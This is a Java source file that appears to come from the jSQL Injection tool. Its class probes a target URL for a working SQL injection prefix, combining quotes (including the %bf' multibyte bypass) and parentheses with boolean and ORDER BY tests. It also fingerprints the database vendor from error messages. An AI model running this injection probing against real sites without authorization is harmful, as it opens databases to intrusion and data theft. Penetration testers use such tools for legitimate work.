1 package com.jsql.model.suspendable;
2
3 import com.jsql.model.InjectionModel;
4 import com.jsql.model.bean.util.Header;
5 import com.jsql.model.bean.util.Interaction;
6 import com.jsql.model.bean.util.Request;
7 import com.jsql.model.exception.JSqlException;
8 import com.jsql.model.exception.StoppedByUserSlidingException;
9 import com.jsql.model.injection.strategy.blind.InjectionCharInsertion;
10 import com.jsql.model.injection.vendor.MediatorVendor;
11 import com.jsql.model.injection.vendor.model.Vendor;
12 import com.jsql.model.suspendable.callable.CallablePageSource;
13 import com.jsql.util.I18nUtil;
14 import com.jsql.util.LogLevelUtil;
15 import org.apache.commons.lang3.RandomStringUtils;
16 import org.apache.commons.lang3.StringUtils;
17 import org.apache.logging.log4j.LogManager;
18 import org.apache.logging.log4j.Logger;
19
20 import java.util.*;
21 import java.util.concurrent.CompletionService;
22 import java.util.concurrent.ExecutionException;
23 import java.util.concurrent.ExecutorCompletionService;
24 import java.util.concurrent.ExecutorService;
25 import java.util.regex.Pattern;
26 import java.util.stream.Collectors;
27 import java.util.stream.Stream;
28
29
30
31
32
33
34
35
36
37 public class SuspendableGetCharInsertion extends AbstractSuspendable {
38
39
40
41
42 private static final Logger LOGGER = LogManager.getRootLogger();
43
44 private static final String LABEL_PREFIX = "prefix";
45
46 public SuspendableGetCharInsertion(InjectionModel injectionModel) {
47 super(injectionModel);
48 }
49
50 @Override
51 public String run(Object... args) throws JSqlException {
52 String characterInsertionByUser = (String) args[0];
53
54 ExecutorService taskExecutor = this.injectionModel.getMediatorUtils().getThreadUtil().getExecutor("CallableGetInsertionCharacter");
55 CompletionService<CallablePageSource> taskCompletionService = new ExecutorCompletionService<>(taskExecutor);
56
57 var charFromBooleanMatch = new String[1];
58 List<String> charactersInsertion = this.initCallables(taskCompletionService, charFromBooleanMatch);
59
60 var mediatorVendor = this.injectionModel.getMediatorVendor();
61 LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Fingerprinting database and character insertion with Order by match...");
62
63 String charFromOrderBy = null;
64
65 int total = charactersInsertion.size();
66 while (0 < total) {
67 if (this.isSuspended()) {
68 throw new StoppedByUserSlidingException();
69 }
70 try {
71 CallablePageSource currentCallable = taskCompletionService.take().get();
72 total--;
73 String pageSource = currentCallable.getContent();
74
75 List<Vendor> vendorsOrderByMatch = this.getVendorsOrderByMatch(mediatorVendor, pageSource);
76 if (!vendorsOrderByMatch.isEmpty()) {
77 this.setVendor(mediatorVendor, vendorsOrderByMatch);
78
79 LOGGER.log(LogLevelUtil.CONSOLE_INFORM, "Using [{}]", mediatorVendor.getVendor());
80 var requestSetVendor = new Request();
81 requestSetVendor.setMessage(Interaction.SET_VENDOR);
82 Map<Header, Object> msgHeader = new EnumMap<>(Header.class);
83 msgHeader.put(Header.URL, this.injectionModel.getMediatorUtils().getConnectionUtil().getUrlByUser());
84 msgHeader.put(Header.VENDOR, mediatorVendor.getVendor());
85 requestSetVendor.setParameters(msgHeader);
86 this.injectionModel.sendToViews(requestSetVendor);
87
88 charFromOrderBy = currentCallable.getCharacterInsertion();
89 LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "Character insertion [{}] matching with Order by and compatible with Error strategy", charFromOrderBy);
90 break;
91 }
92 } catch (InterruptedException e) {
93 LOGGER.log(LogLevelUtil.IGNORE, e, e);
94 Thread.currentThread().interrupt();
95 } catch (ExecutionException e) {
96 LOGGER.log(LogLevelUtil.CONSOLE_JAVA, e, e);
97 }
98 }
99 this.injectionModel.getMediatorUtils().getThreadUtil().shutdown(taskExecutor);
100 if (charFromOrderBy == null && charFromBooleanMatch[0] != null) {
101 charFromOrderBy = charFromBooleanMatch[0];
102 }
103 return this.getCharacterInsertion(characterInsertionByUser, charFromOrderBy);
104 }
105
106 private void setVendor(MediatorVendor mediatorVendor, List<Vendor> vendorsOrderByMatch) {
107 if (
108 vendorsOrderByMatch.size() == 1
109 && vendorsOrderByMatch.get(0) != mediatorVendor.getVendor()
110 ) {
111 mediatorVendor.setVendor(vendorsOrderByMatch.get(0));
112 } else if (vendorsOrderByMatch.size() > 1) {
113 if (vendorsOrderByMatch.contains(mediatorVendor.getPostgres())) {
114 mediatorVendor.setVendor(mediatorVendor.getPostgres());
115 } else if (vendorsOrderByMatch.contains(mediatorVendor.getMysql())) {
116 mediatorVendor.setVendor(mediatorVendor.getMysql());
117 } else {
118 mediatorVendor.setVendor(vendorsOrderByMatch.get(0));
119 }
120 }
121 }
122
123 private List<Vendor> getVendorsOrderByMatch(MediatorVendor mediatorVendor, String pageSource) {
124 return mediatorVendor.getVendors()
125 .stream()
126 .filter(vendor -> vendor != mediatorVendor.getAuto())
127 .filter(vendor -> StringUtils.isNotEmpty(
128 vendor.instance().getModelYaml().getStrategy().getConfiguration().getFingerprint().getOrderByErrorMessage()
129 ))
130 .filter(vendor -> {
131 Optional<String> optionalOrderByErrorMatch = Stream.of(
132 vendor.instance().getModelYaml().getStrategy().getConfiguration().getFingerprint().getOrderByErrorMessage()
133 .split("[\\r\\n]+")
134 )
135 .filter(errorMessage ->
136 Pattern
137 .compile(".*" + errorMessage + ".*", Pattern.DOTALL)
138 .matcher(pageSource)
139 .matches()
140 )
141 .findAny();
142 if (optionalOrderByErrorMatch.isPresent()) {
143 LOGGER.log(
144 LogLevelUtil.CONSOLE_SUCCESS,
145 String.format("Order by fingerprint matching vendor [%s]", vendor)
146 );
147 }
148 return optionalOrderByErrorMatch.isPresent();
149 })
150 .collect(Collectors.toList());
151 }
152
153 private List<String> initCallables(CompletionService<CallablePageSource> taskCompletionService, String[] charFromBooleanMatch) throws JSqlException {
154 List<String> prefixValues = Arrays.asList(
155 RandomStringUtils.secure().next(10, "012"),
156 "1"
157 );
158 List<String> prefixQuotes = Arrays.asList(
159 SuspendableGetCharInsertion.LABEL_PREFIX +"'",
160 SuspendableGetCharInsertion.LABEL_PREFIX,
161 SuspendableGetCharInsertion.LABEL_PREFIX +"`",
162 SuspendableGetCharInsertion.LABEL_PREFIX +"\"",
163 SuspendableGetCharInsertion.LABEL_PREFIX +"%bf'"
164 );
165 List<String> prefixParentheses = Arrays.asList(StringUtils.EMPTY, ")", "))");
166 List<String> charactersInsertion = new ArrayList<>();
167 LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Fingerprinting character insertion with Boolean match...");
168 for (String prefixValue: prefixValues) {
169 for (String prefixQuote: prefixQuotes) {
170 for (String prefixParenthesis: prefixParentheses) {
171 this.checkInsertionChar(charFromBooleanMatch, charactersInsertion, prefixValue, prefixQuote, prefixParenthesis);
172 }
173 }
174 }
175 for (String characterInsertion: charactersInsertion) {
176 taskCompletionService.submit(
177 new CallablePageSource(
178 characterInsertion
179 + StringUtils.SPACE
180 + this.injectionModel.getMediatorVendor().getVendor().instance().sqlOrderBy(),
181 characterInsertion,
182 this.injectionModel,
183 "prefix#orderby"
184 )
185 );
186 }
187 return charactersInsertion;
188 }
189
190 private void checkInsertionChar(
191 String[] charFromBooleanMatch,
192 List<String> charactersInsertion,
193 String prefixValue,
194 String prefixQuote,
195 String prefixParenthesis
196 ) throws StoppedByUserSlidingException {
197 String characterInsertion = prefixQuote.replace(SuspendableGetCharInsertion.LABEL_PREFIX, prefixValue) + prefixParenthesis;
198 charactersInsertion.add(characterInsertion);
199
200 if (charFromBooleanMatch[0] == null) {
201 var injectionCharInsertion = new InjectionCharInsertion(
202 this.injectionModel,
203 characterInsertion,
204 prefixQuote + prefixParenthesis
205 );
206 if (injectionCharInsertion.isInjectable()) {
207 if (this.isSuspended()) {
208 throw new StoppedByUserSlidingException();
209 }
210 charFromBooleanMatch[0] = characterInsertion;
211 LOGGER.log(
212 LogLevelUtil.CONSOLE_SUCCESS,
213 "Found character insertion [{}] using Boolean match",
214 () -> charFromBooleanMatch[0]
215 );
216 }
217 }
218 }
219
220 private String getCharacterInsertion(String characterInsertionByUser, String characterInsertionDetected) {
221 String characterInsertionDetectedFixed = characterInsertionDetected;
222 if (characterInsertionDetectedFixed == null) {
223 characterInsertionDetectedFixed = characterInsertionByUser;
224 String logCharacterInsertion = characterInsertionDetectedFixed;
225 LOGGER.log(
226 LogLevelUtil.CONSOLE_ERROR,
227 "No character insertion found, forcing to [{}]",
228 () -> logCharacterInsertion.replace(InjectionModel.STAR, StringUtils.EMPTY)
229 );
230 } else if (!characterInsertionByUser.replace(InjectionModel.STAR, StringUtils.EMPTY).equals(characterInsertionDetectedFixed)) {
231 String characterInsertionByUserFormat = characterInsertionByUser.replace(InjectionModel.STAR, StringUtils.EMPTY);
232 LOGGER.log(
233 LogLevelUtil.CONSOLE_INFORM,
234 "Using [{}] and matching [{}]",
235 () -> this.injectionModel.getMediatorVendor().getVendor(),
236 () -> characterInsertionDetected
237 );
238 LOGGER.log(
239 LogLevelUtil.CONSOLE_DEFAULT,
240 "Disable search for char insertion in Preferences to force the value [{}]",
241 () -> characterInsertionByUserFormat
242 );
243 } else {
244 LOGGER.log(
245 LogLevelUtil.CONSOLE_INFORM,
246 "{} [{}]",
247 () -> I18nUtil.valueByKey("LOG_USING_INSERTION_CHARACTER"),
248 () -> characterInsertionDetected.replace(InjectionModel.STAR, StringUtils.EMPTY)
249 );
250 }
251 return characterInsertionDetectedFixed;
252 }
253 }